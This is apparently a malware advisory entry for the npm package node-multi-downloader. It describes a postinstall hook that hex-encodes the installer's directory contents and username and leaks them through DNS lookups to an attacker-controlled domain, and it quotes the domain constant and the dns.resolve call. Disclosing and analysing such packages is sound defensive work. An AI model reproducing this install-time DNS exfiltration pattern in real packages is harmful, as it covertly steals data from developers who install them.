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Incident detail

criticalnpm·malware·osv

Malicious code in node-multi-downloader (npm)

node-multi-downloader

Risk score

92

AI summary

Indexed incident for node-multi-downloader (npm).

Description

On npm install, this package's postinstall hook (node index.js) hex-encodes the installer's current working directory, the first 15 entries of that directory, and os.userInfo().username, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain uqlyosvp1f9.oob.evilsec.xyz. The hardcoded out-of-band domain is bound at index.js line 1 (const D = "uqlyosvp1f9.oob.evilsec.xyz") and index.js line 8 calls dns.resolve(${chunk}.${tag}${i}.${D}, 'A',...) to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.

Technical details

Affected versions

=5.0.14-rc.3

Indicators

  • affected version=5.0.14-rc.375%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

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